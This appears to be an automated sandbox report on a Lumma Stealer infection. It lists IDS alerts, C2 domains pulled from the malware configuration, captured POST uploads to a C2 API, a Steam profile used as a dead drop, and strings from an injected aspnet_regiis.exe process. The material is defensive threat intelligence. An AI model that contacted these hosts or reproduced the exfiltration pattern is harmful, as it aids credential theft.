Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49710 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49705 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49716 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: ingreem-eilish.biz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49713 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49716 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 172.67.157.254:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 86Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=M7Y72E3D69IRAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12812Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J3FFDY4GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15024Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=3A6GNRTMT0ED2APJYU3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20580Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0GFWAZ436VZL5S3QE3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1278Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=LNSWTUQTFNJU1FQSUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1121Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 121Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: om/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.b;hh equals www.youtube.com (Youtube)
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: om/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://playl=hi equals www.youtube.com (Youtube)
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-sr equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: ingreem-eilish.biz
Source: global traffic	DNS traffic detected: DNS query: prisonyfork.buzz
Source: global traffic	DNS traffic detected: DNS query: rebuildeso.buzz
Source: global traffic	DNS traffic detected: DNS query: scentniej.buzz
Source: global traffic	DNS traffic detected: DNS query: inherineau.buzz
Source: global traffic	DNS traffic detected: DNS query: screwamusresz.buzz
Source: global traffic	DNS traffic detected: DNS query: appliacnesot.buzz
Source: global traffic	DNS traffic detected: DNS query: cashfuzysao.buzz
Source: global traffic	DNS traffic detected: DNS query: hummskitnj.buzz
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: aspnet_regiis.exe, 00000003.00000003.2220410400.00000000035C5000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243324793.00000000035CF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035BE000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242472000.00000000035CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowere
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: aspnet_regiis.exe, 00000003.00000003.2150765149.0000000005CA3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.
Source: aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: aspnet_regiis.exe, 00000003.00000003.2104310950.0000000005C39000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104363080.0000000005C36000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2104426374.0000000005C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampow
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fast
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.st
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.ste
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steam
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamst
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamsta
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.co
Source: aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/publ
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profiw
Source: aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220835509.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103475750.00000000035D6000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176809705.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2220561655.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2176957876.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.2243258087.00000000035AF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2242513576.00000000035AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: aspnet_regiis.exe, 00000003.00000003.2103505793.0000000003577000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081418201.00000000035CD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081382958.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.0000000003576000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2081432789.000000000352A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2103663864.00000000035B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
